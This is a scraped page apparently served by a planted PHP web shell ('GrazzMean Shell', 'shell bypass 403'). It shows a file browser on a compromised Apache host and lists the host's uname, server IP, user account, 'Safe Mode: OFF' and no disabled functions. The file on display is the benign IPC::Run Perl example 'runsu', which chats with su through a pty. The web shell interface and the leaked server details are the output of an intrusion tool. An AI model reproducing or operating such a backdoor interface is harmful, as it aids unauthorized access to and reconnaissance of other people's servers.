shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-IPC-Run/eg/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.145.52.219
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : runsu
#!/usr/bin/perl -w

## Demonstration of chatting with a bash shell.

use strict;

use IPC::Run qw( start pump finish timeout );

$IPC::Run::debug = 10;

my ( $in, $out );

die "usage: runsu <user> <password>" unless @ARGV;

my $user = @ARGV > 1 ? shift : $ENV{USER} || $ENV{USERNAME};
my $passwd = shift;

my $h = start(
    [ qw(su - ), $user ], '<pty<', \$in, '>pty>', \$out,
    timeout(5),
);

pump $h until $out =~ /^password/im;

$in = "$passwd\n";

## Assume atomic prompt writes
## and that a non-word is the last char in the prompt.
$out = '';
pump $h until $out =~ /([^\r\n\w]\s*)(?!\n)$/;
my $prompt = $1;

print "Detected prompt string = '$prompt'\n";

$prompt = quotemeta $prompt;

for (qw( ls ps fOoBaR pwd )) {
    $in  = $_ . "\n";
    $out = '';
    $h->timeout(5);    # restart the timeout
    pump $h until $out =~ s/\A((?s:.*))(?=^.*?$prompt(?!\n)\Z)//m;
    print map { "su: $_\n" } split( /\n/m, $1 );
}

$in = "exit\n";
finish $h ;
© 2025 GrazzMean